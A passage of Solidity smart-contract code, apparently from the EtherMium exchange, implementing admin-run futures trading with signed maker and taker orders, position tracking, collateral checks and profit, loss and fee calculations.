uint256 multiplier; // the multiplier price, used when teh trading pair doesn't have the base token in it (eg. BTCUSD with ETH as base token, multiplier will be the ETHBTC price)
}
function createFuturesContract(bytes32 asset, uint256 expirationBlock, uint256 floorPrice, uint256 capPrice, uint256 multiplier) onlyAdmin returns (bytes32)
{
bytes32 futuresContract = keccak256(this, asset, expirationBlock, floorPrice, capPrice, multiplier);
if (futuresContracts[futuresContract].expirationBlock > 0) throw; // contract already exists
futuresContracts[futuresContract] = FuturesContract({
asset : asset,
expirationBlock : expirationBlock,
closingPrice : 0,
closed : false,
broken : false,
floorPrice : floorPrice,
capPrice : capPrice,
multiplier : multiplier
});
emit FuturesContractCreated(futuresContract, asset, expirationBlock, floorPrice, capPrice, multiplier);
return futuresContract;
}
mapping (bytes32 => FuturesAsset) public futuresAssets; // mapping of futuresAsset hash to FuturesAsset structs
mapping (bytes32 => FuturesContract) public futuresContracts; // mapping of futuresContract hash to FuturesContract structs
mapping (bytes32 => uint256) public positions; // mapping of user addresses to position hashes to position
enum Errors {
INVALID_PRICE, // Order prices don't match
INVALID_SIGNATURE, // Signature is invalid
ORDER_ALREADY_FILLED, // Order was already filled
GAS_TOO_HIGH, // Too high gas fee
OUT_OF_BALANCE, // User doesn't have enough balance for the operation
FUTURES_CONTRACT_EXPIRED, // Futures contract already expired
FLOOR_OR_CAP_PRICE_REACHED, // The floor price or the cap price for the futures contract was reached
POSITION_ALREADY_EXISTS, // User has an open position already
UINT48_VALIDATION, // Size or price bigger than an Uint48
FAILED_ASSERTION // Assertion failed
}
event FuturesTrade(bool side, uint256 size, uint256 price, bytes32 indexed futuresContract, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event FuturesContractClosed(bytes32 indexed futuresContract, uint256 closingPrice);
event FuturesForcedRelease(bytes32 indexed futuresContract, bool side, address user);
event FuturesAssetCreated(bytes32 indexed futuresAsset, string name, address baseToken, string priceUrl, string pricePath, bool inversed);
event FuturesContractCreated(bytes32 indexed futuresContract, bytes32 asset, uint256 expirationBlock, uint256 floorPrice, uint256 capPrice, uint256 multiplier);
// Fee change event
event FeeChange(uint256 indexed makerFee, uint256 indexed takerFee);
// Log event, logs errors in contract execution (for internal use)
event LogError(uint8 indexed errorId, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event LogErrorLight(uint8 indexed errorId);
event LogUint(uint8 id, uint256 value);
event LogBool(uint8 id, bool value);
event LogAddress(uint8 id, address value);
// Constructor function, initializes the contract and sets the core variables
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, address exchangeContract_) {
owner = msg.sender;
feeAccount = feeAccount_;
makerFee = makerFee_;
takerFee = takerFee_;
exchangeContract = exchangeContract_;
}
// Changes the fees
function setFees(uint256 makerFee_, uint256 takerFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney); // The fees cannot be set higher then 1%
makerFee = makerFee_;
takerFee = takerFee_;
emit FeeChange(makerFee, takerFee);
}
// Adds or disables an admin account
function setAdmin(address admin, bool isAdmin) onlyOwner {
admins[admin] = isAdmin;
}
// Allows for admins only to call the function
modifier onlyAdmin {
if (msg.sender != owner && !admins[msg.sender]) throw;
_;
}
function() external {
throw;
}
function validateUint48(uint256 val) returns (bool)
{
if (val != uint48(val)) return false;
return true;
}
function validateUint64(uint256 val) returns (bool)
{
if (val != uint64(val)) return false;
return true;
}
function validateUint128(uint256 val) returns (bool)
{
if (val != uint128(val)) return false;
return true;
}
// Structure that holds order values, used inside the trade() function
struct FuturesOrderPair {
uint256 makerNonce; // maker order nonce, makes the order unique
uint256 takerNonce; // taker order nonce
uint256 takerGasFee; // taker gas fee, taker pays the gas
uint256 takerIsBuying; // true/false taker is the buyer
address maker; // address of the maker
address taker; // address of the taker
bytes32 makerOrderHash; // hash of the maker order
bytes32 takerOrderHash; // has of the taker order
uint256 makerAmount; // trade amount for maker
uint256 takerAmount; // trade amount for taker
uint256 makerPrice; // maker order price in wei (18 decimal precision)
uint256 takerPrice; // taker order price in wei (18 decimal precision)
bytes32 futuresContract; // the futures contract being traded
address baseToken; // the address of the base token for futures contract
uint256 floorPrice; // floor price of futures contract
uint256 capPrice; // cap price of futures contract
bytes32 makerPositionHash; // hash for maker position
bytes32 makerInversePositionHash; // hash for inverse maker position
bytes32 takerPositionHash; // hash for taker position
bytes32 takerInversePositionHash; // hash for inverse taker position
}
// Structure that holds trade values, used inside the trade() function
struct FuturesTradeValues {
uint256 qty; // amount to be trade
uint256 makerProfit; // holds maker profit value
uint256 makerLoss; // holds maker loss value
uint256 takerProfit; // holds taker profit value
uint256 takerLoss; // holds taker loss value
uint256 makerBalance; // holds maker balance value
uint256 takerBalance; // holds taker balance value
uint256 makerReserve; // holds taker reserved value
uint256 takerReserve; // holds taker reserved value
}
// Opens/closes futures positions
function futuresTrade(
uint8[2] v,
bytes32[4] rs,
uint256[8] tradeValues,
address[2] tradeAddresses,
bool takerIsBuying,
bytes32 futuresContractHash
) onlyAdmin returns (uint filledTakerTokenAmount)
{
/* tradeValues
[0] makerNonce
[1] takerNonce
[2] takerGasFee
[3] takerIsBuying
[4] makerAmount
[5] takerAmount
[6] makerPrice
[7] takerPrice
tradeAddresses
[0] maker
[1] taker
*/
FuturesOrderPair memory t = FuturesOrderPair({
makerNonce : tradeValues[0],
takerNonce : tradeValues[1],
takerGasFee : tradeValues[2],
takerIsBuying : tradeValues[3],
makerAmount : tradeValues[4],
takerAmount : tradeValues[5],
makerPrice : tradeValues[6],
takerPrice : tradeValues[7],
maker : tradeAddresses[0],
taker : tradeAddresses[1],
// futuresContract user amount price side nonce
makerOrderHash : keccak256(this, futuresContractHash, tradeAddresses[0], tradeValues[4], tradeValues[6], !takerIsBuying, tradeValues[0]),
takerOrderHash : keccak256(this, futuresContractHash, tradeAddresses[1], tradeValues[5], tradeValues[7], takerIsBuying, tradeValues[1]),
futuresContract : futuresContractHash,
baseToken : futuresAssets[futuresContracts[futuresContractHash].asset].baseToken,
floorPrice : futuresContracts[futuresContractHash].floorPrice,
capPrice : futuresContracts[futuresContractHash].capPrice,
// user futuresContractHash side
makerPositionHash : keccak256(this, tradeAddresses[0], futuresContractHash, !takerIsBuying),
makerInversePositionHash : keccak256(this, tradeAddresses[0], futuresContractHash, takerIsBuying),
takerPositionHash : keccak256(this, tradeAddresses[1], futuresContractHash, takerIsBuying),
takerInversePositionHash : keccak256(this, tradeAddresses[1], futuresContractHash, !takerIsBuying)
});
//--> 44 000
// Valifate size and price values
if (!validateUint128(t.makerAmount) || !validateUint128(t.takerAmount) || !validateUint64(t.makerPrice) || !validateUint64(t.takerPrice))
{
emit LogError(uint8(Errors.UINT48_VALIDATION), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Check if futures contract has expired already
if (block.number > futuresContracts[t.futuresContract].expirationBlock || futuresContracts[t.futuresContract].closed == true || futuresContracts[t.futuresContract].broken == true)
{
emit LogError(uint8(Errors.FUTURES_CONTRACT_EXPIRED), t.makerOrderHash, t.takerOrderHash);
return 0; // futures contract is expired
}
// Checks the signature for the maker order
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
emit LogError(uint8(Errors.INVALID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Checks the signature for the taker order
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
emit LogError(uint8(Errors.INVALID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// check prices
if ((!takerIsBuying && t.makerPrice < t.takerPrice) || (takerIsBuying && t.takerPrice < t.makerPrice))
{
emit LogError(uint8(Errors.INVALID_PRICE), t.makerOrderHash, t.takerOrderHash);
return 0; // prices don't match
}
//--> 54 000
uint256[4] memory balances = EtherMium(exchangeContract).getMakerTakerBalances(t.baseToken, t.maker, t.taker);
// Initializing trade values structure
FuturesTradeValues memory tv = FuturesTradeValues({
qty : 0,
makerProfit : 0,
makerLoss : 0,
takerProfit : 0,
takerLoss : 0,
makerBalance : balances[0], //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
takerBalance : balances[1], //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
makerReserve : balances[2], //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
takerReserve : balances[3] //EtherMium(exchangeContract).balanceOf(t.baseToken, t.maker),
});
//--> 60 000
// check if floor price or cap price was reached
if (futuresContracts[t.futuresContract].floorPrice >= t.makerPrice || futuresContracts[t.futuresContract].capPrice <= t.makerPrice)
{
// attepting price outside range
emit LogError(uint8(Errors.FLOOR_OR_CAP_PRICE_REACHED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// traded quantity is the smallest quantity between the maker and the taker, takes into account amounts already filled on the orders
// and open inverse positions
tv.qty = min(safeSub(t.makerAmount, orderFills[t.makerOrderHash]), safeSub(t.takerAmount, orderFills[t.takerOrderHash]));
if (positionExists(t.makerInversePositionHash) && positionExists(t.takerInversePositionHash))
{
tv.qty = min(tv.qty, min(retrievePosition(t.makerInversePositionHash)[0], retrievePosition(t.takerInversePositionHash)[0]));
}
else if (positionExists(t.makerInversePositionHash))
{
tv.qty = min(tv.qty, retrievePosition(t.makerInversePositionHash)[0]);
}
else if (positionExists(t.takerInversePositionHash))
{
tv.qty = min(tv.qty, retrievePosition(t.takerInversePositionHash)[0]);
}
//--> 64 000
if (tv.qty == 0)
{
// no qty left on orders
emit LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Cheks that gas fee is not higher than 10%
if (safeMul(t.takerGasFee, 20) > calculateTradeValue(tv.qty, t.makerPrice, t.futuresContract))
{
emit LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash, t.takerOrderHash);
return 0;
} // takerGasFee too high
// check if users have open positions already
// if (positionExists(t.makerPositionHash) || positionExists(t.takerPositionHash))
// {
// // maker already has the position open, first must close existing position before opening a new one
// emit LogError(uint8(Errors.POSITION_ALREADY_EXISTS), t.makerOrderHash, t.takerOrderHash);
// return 0;
// }
//--> 66 000
/*------------- Maker long, Taker short -------------*/
if (!takerIsBuying)
{
// position actions for maker
if (!positionExists(t.makerInversePositionHash) && !positionExists(t.makerPositionHash))
{
// check if maker has enough balance
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.makerPositionHash, tv.qty, t.makerPrice, 1, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
true, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.makerPositionHash))
{
// check if maker has enough balance
// if (safeAdd(safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty) / t.floorPrice,
// safeMul(tv.qty, makerFee) / (1 ether)) * 1e10 > safeSub(balances[0],tv.makerReserve))
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.makerPositionHash, safeAdd(retrievePosition(t.makerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.makerInversePositionHash, safeSub(retrievePosition(t.makerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice < retrievePosition(t.makerInversePositionHash)[1])
{
// user has made a profit
//tv.makerProfit = safeMul(safeSub(retrievePosition(t.makerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.makerProfit = calculateProfit(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
else
{
// user has made a loss
//tv.makerLoss = safeMul(safeSub(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.makerLoss = calculateLoss(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
tv.makerProfit, // profit
tv.makerLoss, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
}
}
// position actions for taker
if (!positionExists(t.takerInversePositionHash) && !positionExists(t.takerPositionHash))
{
// check if taker has enough balance
// if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)) * 1e10, t.takerGasFee) > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.takerPositionHash, tv.qty, t.makerPrice, 0, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // make address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
true, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.takerPositionHash))
{
// check if taker has enough balance
//if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)) * 1e10, t.takerGasFee) > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.takerPositionHash, safeAdd(retrievePosition(t.takerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // make address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.takerInversePositionHash, safeSub(retrievePosition(t.takerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice > retrievePosition(t.takerInversePositionHash)[1])
{
// user has made a profit
//tv.takerProfit = safeMul(safeSub(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.takerProfit = calculateProfit(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
else
{
// user has made a loss
//tv.takerLoss = safeMul(safeSub(retrievePosition(t.takerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.takerLoss = calculateLoss(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // make address
],
t.takerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
tv.takerProfit, // profit
tv.takerLoss, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
}
}
}
/*------------- Maker short, Taker long -------------*/
else
{
//LogUint(1, safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty)); return;
// position actions for maker
if (!positionExists(t.makerInversePositionHash) && !positionExists(t.makerPositionHash))
{
// check if maker has enough balance
//if (safeAdd(safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty) / t.floorPrice, safeMul(tv.qty, makerFee) / (1 ether)) * 1e10 > safeSub(balances[0],tv.makerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.makerPositionHash, tv.qty, t.makerPrice, 0, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
true, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.makerPositionHash))
{
// check if maker has enough balance
//if (safeAdd(safeMul(safeSub(t.makerPrice, t.floorPrice), tv.qty) / t.floorPrice, safeMul(tv.qty, makerFee) / (1 ether)) * 1e10 > safeSub(balances[0],tv.makerReserve))
if (!checkEnoughBalance(t.capPrice, t.makerPrice, tv.qty, false, makerFee, 0, futuresContractHash, safeSub(balances[0],tv.makerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.makerPositionHash, safeAdd(retrievePosition(t.makerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // make address
],
t.makerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
0, // profit
0, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.makerInversePositionHash, safeSub(retrievePosition(t.makerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice > retrievePosition(t.makerInversePositionHash)[1])
{
// user has made a profit
//tv.makerProfit = safeMul(safeSub(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.makerProfit = calculateProfit(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
else
{
// user has made a loss
//tv.makerLoss = safeMul(safeSub(retrievePosition(t.makerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.makerLoss = calculateLoss(t.makerPrice, retrievePosition(t.makerInversePositionHash)[1], tv.qty, futuresContractHash, false);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.maker // user address
],
t.makerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
makerFee, // fee
tv.makerProfit, // profit
tv.makerLoss, // loss
tv.makerBalance, // balance
0, // gasFee
tv.makerReserve // reserve
],
[
false, // newPostion (if true position is new)
false, // side (if true - long)
false // increase position (if true)
]
);
}
}
// position actions for taker
if (!positionExists(t.takerInversePositionHash) && !positionExists(t.takerPositionHash))
{
// check if taker has enough balance
// if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)), t.takerGasFee / 1e10) * 1e10 > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// create new position
recordNewPosition(t.takerPositionHash, tv.qty, t.makerPrice, 1, block.number);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // user address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
true, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
} else {
if (positionExists(t.takerPositionHash))
{
// check if taker has enough balance
//if (safeAdd(safeAdd(safeMul(safeSub(t.capPrice, t.makerPrice), tv.qty) / t.capPrice, safeMul(tv.qty, takerFee) / (1 ether)), t.takerGasFee / 1e10) * 1e10 > safeSub(balances[1],tv.takerReserve))
if (!checkEnoughBalance(t.floorPrice, t.makerPrice, tv.qty, true, takerFee, t.takerGasFee, futuresContractHash, safeSub(balances[1],tv.takerReserve)))
{
// maker out of balance
emit LogError(uint8(Errors.OUT_OF_BALANCE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// increase position size
updatePositionSize(t.takerPositionHash, safeAdd(retrievePosition(t.takerPositionHash)[0], tv.qty), t.makerPrice);
updateBalances(
t.futuresContract,
[
t.baseToken, // base token
t.taker // user address
],
t.takerPositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
0, // profit
0, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
true // increase position (if true)
]
);
}
else
{
// close/partially close existing position
updatePositionSize(t.takerInversePositionHash, safeSub(retrievePosition(t.takerInversePositionHash)[0], tv.qty), 0);
if (t.makerPrice < retrievePosition(t.takerInversePositionHash)[1])
{
// user has made a profit
//tv.takerProfit = safeMul(safeSub(retrievePosition(t.takerInversePositionHash)[1], t.makerPrice), tv.qty) / t.makerPrice;
tv.takerProfit = calculateProfit(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
else
{
// user has made a loss
//tv.takerLoss = safeMul(safeSub(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1]), tv.qty) / t.makerPrice;
tv.takerLoss = calculateLoss(t.makerPrice, retrievePosition(t.takerInversePositionHash)[1], tv.qty, futuresContractHash, true);
}
updateBalances(
t.futuresContract,
[
t.baseToken, // base toke
t.taker // user address
],
t.takerInversePositionHash, // position hash
[
tv.qty, // qty
t.makerPrice, // price
takerFee, // fee
tv.takerProfit, // profit
tv.takerLoss, // loss
tv.takerBalance, // balance
t.takerGasFee, // gasFee
tv.takerReserve // reserve
],
[
false, // newPostion (if true position is new)
true, // side (if true - long)
false // increase position (if true)
]
);
}
}
}
//--> 220 000
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty); // increase the maker order filled amount
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty); // increase the taker order filled amount
//--> 264 000
emit FuturesTrade(takerIsBuying, tv.qty, t.makerPrice, t.futuresContract, t.makerOrderHash, t.takerOrderHash);
return tv.qty;
}
function calculateProfit(uint256 closingPrice, uint256 entryPrice, uint256 qty, bytes32 futuresContractHash, bool side) returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (side)
{
if (inversed)
{
return safeMul(safeSub(entryPrice, closingPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(entryPrice, closingPrice), qty), multiplier) / 1e8 / 1e18;
}
}
else
{
if (inversed)
{
return safeMul(safeSub(closingPrice, entryPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(closingPrice, entryPrice), qty), multiplier) / 1e8 / 1e18;
}
}
}
function calculateTradeValue(uint256 qty, uint256 price, bytes32 futuresContractHash) returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (inversed)
{
return qty * 1e10;
}
else
{
return safeMul(safeMul(safeMul(qty, price), 1e2), multiplier) / 1e18 ;
}
}
function calculateLoss(uint256 closingPrice, uint256 entryPrice, uint256 qty, bytes32 futuresContractHash, bool side) returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (side)
{
if (inversed)
{
return safeMul(safeSub(closingPrice, entryPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(closingPrice, entryPrice), qty), multiplier) / 1e8 / 1e18;
}
}
else
{
if (inversed)
{
return safeMul(safeSub(entryPrice, closingPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(entryPrice, closingPrice), qty), multiplier) / 1e8 / 1e18;
}
}
}
function calculateCollateral (uint256 limitPrice, uint256 tradePrice, uint256 qty, bool side, bytes32 futuresContractHash) view returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (side)
{
// long
if (inversed)
{
return safeMul(safeSub(tradePrice, limitPrice), qty) / limitPrice;
}
else
{
return safeMul(safeMul(safeSub(tradePrice, limitPrice), qty), multiplier) / 1e8 / 1e18;
}
}
else
{
// short
if (inversed)
{
return safeMul(safeSub(limitPrice, tradePrice), qty) / limitPrice;
}
else
{
return safeMul(safeMul(safeSub(limitPrice, tradePrice), qty), multiplier) / 1e8 / 1e18;
}
}
}
function calculateFee (uint256 qty, uint256 tradePrice, uint256 fee, bytes32 futuresContractHash) returns (uint256)
{
return safeMul(calculateTradeValue(qty, tradePrice, futuresContractHash), fee) / 1e18 / 1e10;
}
function checkEnoughBalance (uint256 limitPrice, uint256 tradePrice, uint256 qty, bool side, uint256 fee, uint256 gasFee, bytes32 futuresContractHash, uint256 availableBalance) view returns (bool)
{
if (side)
{
// long
if (safeAdd(
safeAdd(
calculateCollateral(limitPrice, tradePrice, qty, side, futuresContractHash),
//safeMul(qty, fee) / (1 ether)
calculateFee(qty, tradePrice, fee, futuresContractHash)
) * 1e10,
gasFee
) > availableBalance)
{
return false;
}
}
else
{
// short
if (safeAdd(
safeAdd(
calculateCollateral(limitPrice, tradePrice, qty, side, futuresContractHash),
//safeMul(qty, fee) / (1 ether)
calculateFee(qty, tradePrice, fee, futuresContractHash)
) * 1e10,
gasFee
) > availableBalance)
{
return false;
}
}
return true;
}
// Executes multiple trades in one transaction, saves gas fees
function batchFuturesTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[8][] tradeValues,
address[2][] tradeAddresses,
bool[] takerIsBuying,
bytes32[] futuresContractHash
) onlyAdmin
{
for (uint i = 0; i < tradeAddresses.length; i++) {
futuresTrade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i],
takerIsBuying[i],
futuresContractHash[i]
);
}
}
// Update user balance
function updateBalances (bytes32 futuresContract, address[2] addressValues, bytes32 positionHash, uint256[8] uintValues, bool[3] boolValues) private
{
/*
addressValues
[0] baseToken
[1] user
uintValues
[0] qty
[1] price
[2] fee
[3] profit
[4] loss
[5] balance
[6] gasFee
[7] reserve
boolValues
[0] newPostion
[1] side
[2] increase position
*/
// qty * price * fee
// uint256 pam[0] = safeMul(safeMul(uintValues[0], uintValues[1]), uintValues[2]) / (1 ether);
// uint256 collateral;
// pam = [fee value, collateral]
uint256[2] memory pam = [safeAdd(calculateFee(uintValues[0], uintValues[1], uintValues[2], futuresContract) * 1e10, uintValues[6]), 0];
// LogUint(100, uintValues[3]);
// LogUint(9, uintValues[2]);
// LogUint(7, safeMul(uintValues[0], uintValues[2]) / (1 ether));
// return;
// Position is new or position is increased
if (boolValues[0] || boolValues[2])
{
if (boolValues[1])
{
//addReserve(addressValues[0], addressValues[1], uintValues[ 7], safeMul(safeSub(uintValues[1], futuresContracts[futuresContract].floorPrice), uintValues[0])); // reserve collateral on user
//pam[1] = safeMul(safeSub(uintValues[1], futuresContracts[futuresContract].floorPrice), uintValues[0]) / futuresContracts[futuresContract].floorPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].floorPrice, uintValues[1], uintValues[0], true, futuresContract);
}
else
{
//addReserve(addressValues[0], addressValues[1], uintValues[7], safeMul(safeSub(futuresContracts[futuresContract].capPrice, uintValues[1]), uintValues[0])); // reserve collateral on user
//pam[1] = safeMul(safeSub(futuresContracts[futuresContract].capPrice, uintValues[1]), uintValues[0]) / futuresContracts[futuresContract].capPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].capPrice, uintValues[1], uintValues[0], false, futuresContract);
}
subBalanceAddReserve(addressValues[0], addressValues[1], pam[0], safeAdd(pam[1],1));
// if (uintValues[6] > 0)
// {
// subBalanceAddReserve(addressValues[0], addressValues[1], safeAdd(uintValues[6], pam[0]), pam[1]);
// }
// else
// {
// subBalanceAddReserve(addressValues[0], addressValues[1], safeAdd(uintValues[6], pam[0]), pam[1]);
// }
//subBalance(addressValues[0], addressValues[1], uintValues[5], feeVal); // deduct user maker/taker fee
// Position exists
}
else
{
if (retrievePosition(positionHash)[2] == 0)
{
// original position was short
